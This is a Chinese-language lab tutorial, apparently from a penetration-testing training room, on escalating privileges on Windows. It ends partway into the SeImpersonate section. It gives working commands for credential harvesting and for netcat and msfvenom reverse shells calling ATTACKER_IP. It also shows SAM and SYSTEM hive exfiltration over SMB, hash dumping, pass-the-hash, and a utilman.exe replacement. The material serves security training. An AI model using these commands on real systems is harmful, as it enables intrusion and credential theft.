Introduction

在渗透测试期间,您通常会以非特权用户的身份访问某些 Windows 主机。非特权用户的访问权限有限,仅包括其文件和文件夹,并且无法在主机上执行管理任务,从而阻止您完全控制目标。

本房间涵盖了攻击者可用于在 Windows 环境中提升权限的基本技术,允许您使用主机上的任何初始非特权立足点升级到管理员帐户(如果可能)。

Windows Privilege Escalation

简而言之,特权升级包括使用“用户 A”对主机的既定访问权限,并利用该访问权限通过滥用目标系统中的弱点来获取“用户 B”的访问权限。虽然我们通常希望“用户 B”拥有管理权限,但在某些情况下,我们需要升级到其他非特权帐户,然后才能真正获得管理权限。

获取对不同帐户的访问权限可能很简单,只需在某些粗心的用户未保护的文本文件或电子表格中找到凭据即可,但情况并非总是如此。根据情况,我们可能需要滥用以下一些弱点:

  • Windows 服务或计划任务上的错误配置
  • 分配给我们帐户的过多权限
  • 易受攻击的软件
  • 缺少 Windows 安全补丁

在进入实际技术之前,让我们先看看 Windows 系统上的不同帐户类型。

Windows Users

Windows 系统主要有两种用户。根据用户的访问级别,我们可以将用户归类为以下组之一:

管理员 这些用户拥有最高权限。他们可以更改任何系统配置参数并访问系统中的任何文件。
标准用户 这些用户可以访问计算机,但只能执行有限的任务。通常,这些用户不能对系统进行永久或必要的更改,并且只能访问他们的文件。

任何具有管理权限的用户都属于 管理员 组。另一方面,标准用户属于 用户 组。

除此之外,您通常会听到操作系统在权限提升环境中使用的一些特殊内置帐户:

SYSTEM / LocalSystem 操作系统用于执行内部任务的帐户。它具有对主机上所有文件和资源的完全访问权限,甚至比管理员的权限更高。
Local Service 用于以“最小”权限运行 Windows 服务的默认帐户。它将使用网络上的匿名连接。
Network Service 用于以“最小”权限运行 Windows 服务的默认帐户。它将使用计算机凭据通过网络进行身份验证。

这些帐户由 Windows 创建和管理,您不能将它们用作其他常规帐户。不过,在某些情况下,您可能会因利用特定服务而获得它们的权限。

Harvesting Passwords from Usual Spots

获取其他用户访问权限的最简单方法是从受感染的机器收集凭据。此类凭据可能出于多种原因而存在,包括粗心的用户将其留在纯文本文件中;甚至由某些软件(如浏览器或电子邮件客户端)存储。

无人值守的 Windows 安装

在大量主机上安装 Windows 时,管理员可以使用 Windows 部署服务,它允许通过网络将单个操作系统映像部署到多个主机。这些类型的安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户执行初始设置,最终可能会存储在计算机的以下位置:

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

作为这些文件的一部分,您可能会遇到凭据:

<Credentials>
<Username>Administrator</Username>
<Domain>thm.local</Domain>
<Password>MyPassword123</Password>
</Credentials>

Powershell History

每当用户使用 Powershell 运行命令时,它都会被存储到一个保存过去命令记忆的文件中。这对于快速重复您以前使用过的命令非常有用。如果用户运行的命令直接在 Powershell 命令行中包含密码,则可以稍后使用“cmd.exe”提示符中的以下命令检索密码:

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

注意:上述命令只能在 cmd.exe 中运行,因为 Powershell 不会将“%userprofile%”识别为环境变量。要从 Powershell 读取文件,您必须将“%userprofile%”替换为“$Env:userprofile”。

Saved Windows Credentials

Windows 允许我们使用其他用户的凭据。此功能还提供了在系统上保存这些凭据的选项。以下命令将列出已保存的凭据:

cmdkey /list

虽然您看不到实际的密码,但如果您注意到任何值得尝试的凭据,则可以将它们与“runas”命令和“/ savecred”选项一起使用,如下所示。

runas /savecred /user:admin cmd.exe

IIS Configuration

Internet 信息服务 (IIS) 是 Windows 安装中的默认 Web 服务器。IIS 上的网站配置存储在名为“web.config”的文件中,可以存储数据库密码或配置的身份验证机制。根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:

  • C:\inetpub\wwwroot\web.config
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

以下是在文件上快速查找数据库连接字符串的方法:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Retrieve Credentials from Software: PuTTY

PuTTY 是 Windows 系统上常见的 SSH 客户端。用户不必每次都指定连接的参数,而是可以存储会话,其中可以存储 IP、用户和其他配置以供日后使用。虽然 PuTTY 不允许用户存储他们的 SSH 密码,但它会存储包含明文身份验证凭据的代理配置。

要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

注意:Simon Tatham 是 PuTTY 的创建者(他的名字是路径的一部分),而不是我们要检索密码的用户名。运行上述命令后,存储的代理用户名也应该可见。

就像 putty 存储凭据一样,任何存储密码的软件,包括浏览器、电子邮件客户端、FTP 客户端、SSH 客户端、VNC 软件等,都会有方法来恢复用户保存的任何密码。

Other Quick Wins

权限提升并不总是一项挑战。某些错误配置可让您获得更高权限的用户访问权限,在某些情况下,甚至可获得管理员访问权限。如果您认为这些更属于 CTF 事件的范畴,而不是您在实际渗透测试过程中会遇到的场景,那将有所帮助。但是,如果前面提到的方法都不起作用,您可以随时返回这些方法。

计划任务

查看目标系统上的计划任务,您可能会看到计划任务丢失了二进制文件或正在使用您可以修改的二进制文件。

可以使用 schtasks 命令从命令行列出计划任务,无需任何选项。要检索有关任何服务的详细信息,您可以使用以下命令:

命令提示符

C:\> schtasks /query /tn vulntask /fo list /v
Folder: \
HostName: THM-PC1
TaskName: \vulntask
Task To Run: C:\tasks\schtask.bat
Run As User: taskusr1

您将获得大量有关该任务的信息,但对我们来说重要的是“要运行的任务”参数,该参数指示计划任务执行的内容,以及“以用户身份运行”参数,该参数显示将用于执行任务的用户。

如果我们当前的用户可以修改或覆盖“要运行的任务”可执行文件,我们就可以控制 taskusr1 用户执行的内容,从而实现简单的特权升级。要检查可执行文件的文件权限,我们使用“icacls”:

命令提示符

C:\> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)

从结果中可以看出,BUILTIN\Users 组对任务的二进制文件具有完全访问权限 (F)。这意味着我们可以修改 .bat 文件并插入任何我们喜欢的有效载荷。为方便起见,可以在 C:\tools 上找到 nc64.exe。让我们更改 bat 文件以生成反向 shell:

命令提示符

C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

然后我们在攻击者的机器上启动一个监听器,这个监听器和我们在反向 shell 上指示的端口相同:

nc -lvp 4444

下次运行计划任务时,您应该会收到具有 taskusr1 权限的反向 shell。虽然您可能无法在实际情况下启动任务,并且必须等待计划任务触发,但我们已为您的用户提供了手动启动任务的权限,以节省您的时间。我们可以使用以下命令运行任务:

命令提示符

C:\> schtasks /run /tn vulntask

你将按预期收到具有 taskusr1 权限的反向 shell:

KaliLinux

user@attackerpc$ nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
wprivesc1\taskusr1

前往 taskusr1 桌面获取一个标志。不要忘记在本任务结束时输入该标志。

AlwaysInstallElevated

Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,这些文件可以配置为从任何用户帐户(甚至是非特权帐户)以更高的权限运行。这可能允许我们生成以管理员权限运行的恶意 MSI 文件。

注意:AlwaysInstallElevated 方法不适用于此房间的机器,并且仅作为信息提供。

此方法需要设置两个注册表值。您可以使用以下命令从命令行查询这些值。

命令提示符

C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

为了能够利用此漏洞,必须同时设置这两个参数。否则,将无法利用此漏洞。如果设置了这些参数,您可以使用“msfvenom”生成恶意 .msi 文件,如下所示:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi

由于这是一个反向 shell,您还应该运行相应配置的 Metasploit Handler 模块。传输您创建的文件后,您可以使用以下命令运行安装程序并接收反向 shell:

命令提示符

C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Abusing Service Misconfigurations

Windows Services

Windows 服务由 服务控制管理器 (SCM) 管理。SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态以及通常提供配置服务的方法的进程。

Windows 计算机上的每个服务都将有一个关联的可执行文件,每当启动服务时,SCM 都会运行该可执行文件。需要注意的是,服务可执行文件实现了特殊功能以便能够与 SCM 通信,因此并非任何可执行文件都可以作为服务成功启动。每个服务还指定了服务将在其下运行的用户帐户。

为了更好地理解服务的结构,让我们使用 sc qc 命令检查 apphostsvc 服务配置:

命令提示符

C:\> sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: apphostsvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k apphost
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Application Host Helper Service
DEPENDENCIES :
SERVICE_START_NAME : localSystem

在这里我们可以看到,关联的可执行文件是通过 BINARY_PATH_NAME 参数指定的,而用于运行服务的帐户则显示在 SERVICE_START_NAME 参数上。

服务具有自由访问控制列表 (DACL),它指示谁有权启动、停止、暂停、查询状态、查询配置或重新配置服务以及其他权限。DACL 可以从 Process Hacker(位于您计算机的桌面上)中看到:

Service DACL

所有服务配置都存储在注册表中的“HKLM\SYSTEM\CurrentControlSet\Services\”下:

Service registry entries

系统中每个服务都有一个子项。同样,我们可以在 ImagePath 值上看到关联的可执行文件,在 ObjectName 值上看到用于启动服务的帐户。如果为服务配置了 DACL,它将存储在名为 Security 的子项中。正如您现在猜到的那样,默认情况下只有管理员才能修改此类注册表项。

Insecure Permissions on Service Executable

如果与服务关联的可执行文件具有较弱的权限,允许攻击者修改或替换它,则攻击者可以轻松获得服务帐户的权限。

为了了解其工作原理,让我们看看在 Splinterware System Scheduler 上发现的一个漏洞。首先,我们将使用“sc”查询服务配置:

命令提示符

C:\> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: windowsscheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Scheduler Service
DEPENDENCIES :
SERVICE_START_NAME : .\svcuser1

我们可以看到,易受攻击的软件安装的服务以 svcuser1 的身份运行,与该服务关联的可执行文件位于“C:\Progra2\System1\WService.exe”中。然后我们继续检查可执行文件的权限:

命令提示符

C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

这里有一些有趣的东西。Everyone 组对服务的可执行文件具有修改权限 (M)。这意味着我们可以用我们喜欢的任何有效负载简单地覆盖它,服务将使用配置的用户帐户的权限执行它。

让我们使用 msfvenom 生成一个 exe 服务有效负载并通过 python web 服务器提供服务:

KaliLinux

user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

user@attackerpc$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

然后我们可以使用以下命令从 Powershell 中提取有效负载:

Powershell

wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe

一旦有效载荷进入 Windows 服务器,我们将继续用我们的有效载荷替换服务可执行文件。由于我们需要另一个用户来执行我们的有效载荷,因此我们也希望向 Everyone 组授予完全权限:

命令提示符

C:\> cd C:\PROGRA~2\SYSTEM~1\

C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
Successfully processed 1 files.

我们在攻击者的机器上启动一个反向监听器:

KaliLinux

user@attackerpc$ nc -lvp 4445

最后,重新启动服务。虽然在正常情况下,您可能需要等待服务重新启动,但您已被分配权限自行重新启动服务以节省一些时间。从 cmd.exe 命令提示符中使用以下命令:

命令提示符

C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler

注意: PowerShell 有 sc 作为 Set-Content 的别名,因此您需要使用 sc.exe 才能以这种方式使用 PowerShell 控制服务。

因此,您将获得具有 svcusr1 权限的反向 shell:

KaliLinux

user@attackerpc$ nc -lvp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
wprivesc1\svcusr1

前往 svcusr1 桌面获取一个标志。不要忘记在本任务结束时输入该标志。

Unquoted Service Paths

当我们无法像以前一样直接写入服务可执行文件时,仍然有机会使用一个相当模糊的功能强制服务运行任意可执行文件。

使用 Windows 服务时,当服务配置为指向“未加引号”的可执行文件时,会发生一种非常特殊的行为。未加引号的意思是,相关可执行文件的路径没有正确加引号以考虑命令中的空格。

作为示例,让我们看看两个服务之间的区别(这些服务仅用作示例,可能不适用于您的计算机)。第一个服务将使用正确的引号,以便 SCM 毫无疑问地知道它必须执行“C:\Program Files\RealVNC\VNC Server\vncserver.exe”指向的二进制文件,后跟给定的参数:

命令提示符

C:\> sc qc "vncserver"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: vncserver
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VNC Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

请记住:PowerShell 的“sc”是“Set-Content”的别名,因此如果您在 PowerShell 提示符中,则需要使用“sc.exe”来控制服务。

现在让我们看看另一个没有正确引号的服务:

命令提示符

C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Disk Sorter Enterprise
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr2

当 SCM 尝试执行关联的二进制文件时,就会出现问题。由于“Disk Sorter Enterprise”文件夹的名称中有空格,因此命令变得含糊不清,并且 SCM 不知道您尝试执行以下哪一项:

Command Argument 1 Argument 2
C:\MyPrograms\Disk.exe Sorter Enterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter.exe Enterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

这与命令提示符如何解析命令有关。通常,当您发送命令时,除非空格是带引号的字符串的一部分,否则空格将用作参数分隔符。这意味着未带引号的命令的“正确”解释是执行“C:\MyPrograms\Disk.exe”并将其余部分作为参数。

SCM 并没有像它应该的那样失败,而是尝试帮助用户并开始按照表中显示的顺序搜索每个二进制文件:

  1. 首先,搜索“C:\MyPrograms\Disk.exe”。如果存在,服务将运行此可执行文件。
  2. 如果后者不存在,它将搜索“C:\MyPrograms\Disk Sorter.exe”。如果存在,服务将运行此可执行文件。
  3. 如果后者不存在,它将搜索“C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe”。此选项预计会成功,并且通常会在默认安装中运行。

从这种行为可以看出问题。如果攻击者创建在预期服务可执行文件之前搜索的任何可执行文件,他们可以强制服务运行任意可执行文件。

虽然这听起来微不足道,但大多数服务可执行文件默认安装在C:\Program FilesC:\Program Files (x86)下,非特权用户无法写入。这可以防止任何易受攻击的服务被利用。此规则有例外:- 某些安装程序会更改已安装文件夹的权限,使服务易受攻击。- 管理员可能决定将服务二进制文件安装在非默认路径中。如果这样的路径是全世界可写的,则可以利用该漏洞。

在我们的案例中,管理员将磁盘排序器二进制文件安装在c:\MyPrograms下。默认情况下,这将继承C:\目录的权限,允许任何用户在其中创建文件和文件夹。我们可以使用“icacls”检查这一点:

命令提示符

C:\>icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

BUILTIN\\Users 组具有 ADWD 权限,分别允许用户创建子目录和文件。

使用 msfvenom 创建 exe-service payload 并将其传输到目标主机的过程与之前相同,因此请随意创建以下 payload 并将其像之前一样上传到服务器。我们还将启动一个监听器,以便在执行时接收反向 shell:

KaliLinux

user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe

user@attackerpc$ nc -lvp 4446

一旦有效载荷进入服务器,就将其移动到可能发生劫持的任何位置。在本例中,我们将把有效载荷移动到“C:\MyPrograms\Disk.exe”。我们还将授予每个人对该文件的完整权限,以确保它可以由服务执行:

命令提示符

C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe

C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
Successfully processed 1 files.

一旦服务重新启动,您的有效负载应该执行:

命令提示符

C:\> sc stop "disk sorter enterprise"
C:\> sc start "disk sorter enterprise"

结果,你将获得具有 svcusr2 权限的反向 shell:

KaliLinux

user@attackerpc$ nc -lvp 4446
Listening on 0.0.0.0 4446
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
wprivesc1\svcusr2

Insecure Service Permissions

如果服务的可执行 DACL 配置正确,并且服务的二进制路径正确引用,您仍有可能利用该服务。如果服务 DACL(而不是服务的可执行 DACL)允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向您需要的任何可执行文件并使用您喜欢的任何帐户运行它,包括 SYSTEM 本身。

要从命令行检查服务 DACL,您可以使用 Sysinternals 套件中的 Accesschk。为方便起见,可在 C:\\tools 处获取副本。检查 thmservice 服务 DACL 的命令是:

命令提示符

C:\tools\AccessChk> accesschk64.exe -qlc thmservice
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS

这里我们可以看到 BUILTIN\\Users 组具有 SERVICE_ALL_ACCESS 权限,这意味着任何用户都可以重新配置该服务。

在更改服务之前,让我们构建另一个 exe-service 反向 shell,并在攻击者的机器上为其启动一个监听器:

KaliLinux

user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe

user@attackerpc$ nc -lvp 4447

然后,我们将反向 shell 可执行文件传输到目标机器并将其存储在“C:\Users\thm-unpriv\rev-svc3.exe”中。请随意使用 wget 传输您的可执行文件并将其移动到所需位置。请记住授予每个人执行您的有效负载的权限:

命令提示符

C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

要更改服务关联的可执行文件和帐户,我们可以使用以下命令(使用 sc.exe 时请注意等号后的空格):

命令提示符

C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

请注意,我们可以使用任何帐户来运行该服务。我们选择 LocalSystem,因为它是可用的最高权限帐户。要触发我们的有效载荷,剩下的就是重新启动服务:

命令提示符

C:\> sc stop THMService
C:\> sc start THMService

我们将在攻击者的机器上收到一个具有 SYSTEM 权限的 shell:

KaliLinux

user@attackerpc$ nc -lvp 4447
Listening on 0.0.0.0 4447
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
NT AUTHORITY\SYSTEM

Abusing dangerous privileges

Windows Privileges

特权是帐户执行特定系统相关任务的权利。这些任务可以简单到关闭机器的特权,也可以简单到绕过某些基于 DACL 的访问控制的特权。

每个用户都有一组分配的特权,可以使用以下命令检查:

whoami /priv

Windows 系统上可用权限的完整列表可在此处找到。从攻击者的角度来看,只有那些允许我们在系统中升级的权限才是值得关注的。您可以在 Priv2Admin Github 项目上找到可利用权限的完整列表。

虽然我们不会逐一介绍,但我们将展示如何滥用您能找到的一些最常见的权限。

SeBackup / SeRestore

SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,忽略任何现有的 DACL。此权限背后的想法是允许某些用户从系统执行备份,而无需完全管理权限。

有了这种权力,攻击者可以使用许多技术轻松提升系统权限。我们将研究的一种技术包括复制 SAM 和 SYSTEM 注册表配置单元以提取本地管理员的密码哈希。

此帐户属于“备份操作员”组,默认情况下被授予 SeBackup 和 SeRestore 权限。我们需要使用“以管理员身份打开”选项打开命令提示符才能使用这些权限。我们将被要求再次输入密码以获取提升的控制台:

Run as admin

一旦进入命令提示符,我们可以使用以下命令检查我们的权限:

命令提示符

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ============================== ========
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

要备份 SAM 和 SYSTEM 哈希,我们可以使用以下命令:

命令提示符

C:\> reg save hklm\system C:\Users\THMBackup\system.hive
The operation completed successfully.

C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
The operation completed successfully.

这将创建几个包含注册表配置单元内容的文件。我们现在可以使用 SMB 或任何其他可用方法将这些文件复制到我们的攻击者机器上。对于 SMB,我们可以使用 impacket 的“smbserver.py”在 AttackBox 的当前目录中启动一个具有网络共享的简单 SMB 服务器:

KaliLinux

user@attackerpc$ mkdir share
user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

这将创建一个名为“public”的共享,指向“share”目录,这需要我们当前 Windows 会话的用户名和密码。此后,我们可以在 Windows 机器中使用“copy”命令将两个文件传输到我们的 AttackBox:

命令提示符

C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

并使用 impacket 检索用户的密码哈希值:

KaliLinux

user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

我们最终可以使用管理员的哈希执行传递哈希攻击,并以 SYSTEM 权限访问目标机器:

KaliLinux

user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IP
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 10.10.175.90.....
[*] Found writable share ADMIN$
[*] Uploading file nfhtabqO.exe
[*] Opening SVCManager on 10.10.175.90.....
[*] Creating service RoLE on 10.10.175.90.....
[*] Starting service RoLE.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

SeTakeOwnership

SeTakeOwnership 权限允许用户获取系统上任何对象的所有权,包括文件和注册表项,这为攻击者提升权限提供了许多可能性,例如,我们可以搜索以 SYSTEM 身份运行的服务并获取该服务可执行文件的所有权。但是,对于此任务,我们将采取不同的方法。

要获取 SeTakeOwnership 权限,我们需要使用“以管理员身份打开”选项打开命令提示符。系统将要求我们输入密码以获取提升的控制台:

Run as admin

一旦进入命令提示符,我们可以使用以下命令检查我们的权限:

命令提示符

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ======================================== ========
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

这次我们将滥用“utilman.exe”来提升权限。Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项:

utilman normal behaviour

由于 Utilman 以 SYSTEM 权限运行,如果我们用任何我们喜欢的有效载荷替换原始二进制文件,我们将有效地获得 SYSTEM 权限。由于我们可以获得任何文件的所有权,因此替换它很简单。

要替换 utilman,我们将首先使用以下命令获得它的所有权:

命令提示符

C:\> takeown /f C:\Windows\System32\Utilman.exe

SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "WINPRIVESC2\thmtakeownership".

请注意,成为文件的所有者并不一定意味着您拥有该文件的权限,但作为所有者,您可以为自己分配所需的任何权限。要授予用户对 utilman.exe 的完全权限,您可以使用以下命令:

命令提示符

C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
processed file: Utilman.exe
Successfully processed 1 files; Failed processing 0 files

此后,我们将用 cmd.exe 的副本替换 utilman.exe:

命令提示符

C:\Windows\System32\> copy cmd.exe utilman.exe
1 file(s) copied.

为了触发 utilman,我们将从开始按钮锁定屏幕:

lock screen

最后,继续单击“轻松访问”按钮,它将以 SYSTEM 权限运行 utilman.exe。由于我们用 cmd.exe 副本替换了它,因此我们将获得具有 SYSTEM 权限的命令提示符:

utilman shell

SeImpersonate / SeAssignPrimaryToken

这些权限允许进程模拟其他用户并代表他们行事。模拟通常包括能够在另一个用户的安全上下文中生成进程或线程。

当您考虑 FTP 服务器的工作原理时,模拟很容易理解。FTP 服务器必须限制用户仅访问他们应该被允许查看的文件。

假设我们有一个由用户“ftp”运行的 FTP 服务。如果没有模拟,如果用户 Ann 登录 FTP 服务器并尝试访问她的文件,FTP 服务将尝试使用其访问令牌而不是 Ann 的访问令牌来访问它们:

img

有几个原因说明为什么使用 ftp 的令牌并不是最好的主意: - 为了正确提供文件,它们需要可供 ftp 用户访问。在上面的例子中,FTP 服务将能够访问 Ann 的文件,但不能访问 Bill 的文件,因为 Bill 文件中的 DACL 不允许用户 ftp。这增加了复杂性,因为我们必须为每个提供的文件/目录手动配置特定权限。 - 对于操作系统,所有文件都由用户 ftp 访问,与当前登录到 FTP 服务的用户无关。这使得将授权委托给操作系统变得不可能;因此,FTP 服务必须实现它。 - 如果 FTP 服务在某个时候受到威胁,攻击者将立即获得 ftp 用户可以访问的所有文件夹的访问权限。

另一方面,如果 FTP 服务的用户具有 SeImpersonate 或 SeAssignPrimaryToken 权限,那么所有这些都会稍微简化一些,因为 FTP 服务可以暂时获取登录用户的访问令牌,并使用它来代表他们执行任何任务:

img

现在,如果用户 Ann 登录到 FTP 服务,并且假定 ftp 用户具有模拟权限,则可以借用 Ann 的访问令牌并使用它来访问她的文件。这样,文件就不需要以任何方式向用户 ftp 提供访问权限,操作系统会处理授权。由于 FTP 服务正在模拟 Ann,因此在该会话期间它将无法访问 Jude 或 Bill 的文件。

作为攻击者,如果我们设法控制具有 SeImpersonate 或 SeAssignPrimaryToken 权限的进程,我们就可以模拟任何连接和验证该进程的用户。

在 Windows 系统中,您会发现本地服务和网络服务帐户已经具有此类权限。由于这些帐户用于使用受限帐户生成服务,因此如果服务需要,允许它们模拟连接用户是有意义的。 Internet 信息服务 (IIS) 还将为 Web 应用程序创建一个名为“iis apppool\defaultapppool”的类似默认帐户。

要使用此类帐户提升权限,攻击者需要执行以下操作:1. 生成一个进程,以便用户可以连接并对其进行身份验证,从而进行模拟。2. 找到一种方法来强制特权用户连接并验证生成的恶意进程。

我们将使用 RogueWinRM 漏洞来实现这两个条件。

让我们首先假设我们已经入侵了在 IIS 上运行的网站,并且我们已经在以下地址植入了一个 Web Shell:

http://MACHINE_IP/

我们可以使用 Web Shell 检查被入侵账户的分配权限,并确认我们拥有此任务所需的两个权限:

Webshell impersonate privileges

要使用 RogueWinRM,我们首先需要将漏洞上传到目标机器。为了方便起见,这已经完成了,您可以在 C:\tools\ 文件夹中找到漏洞。

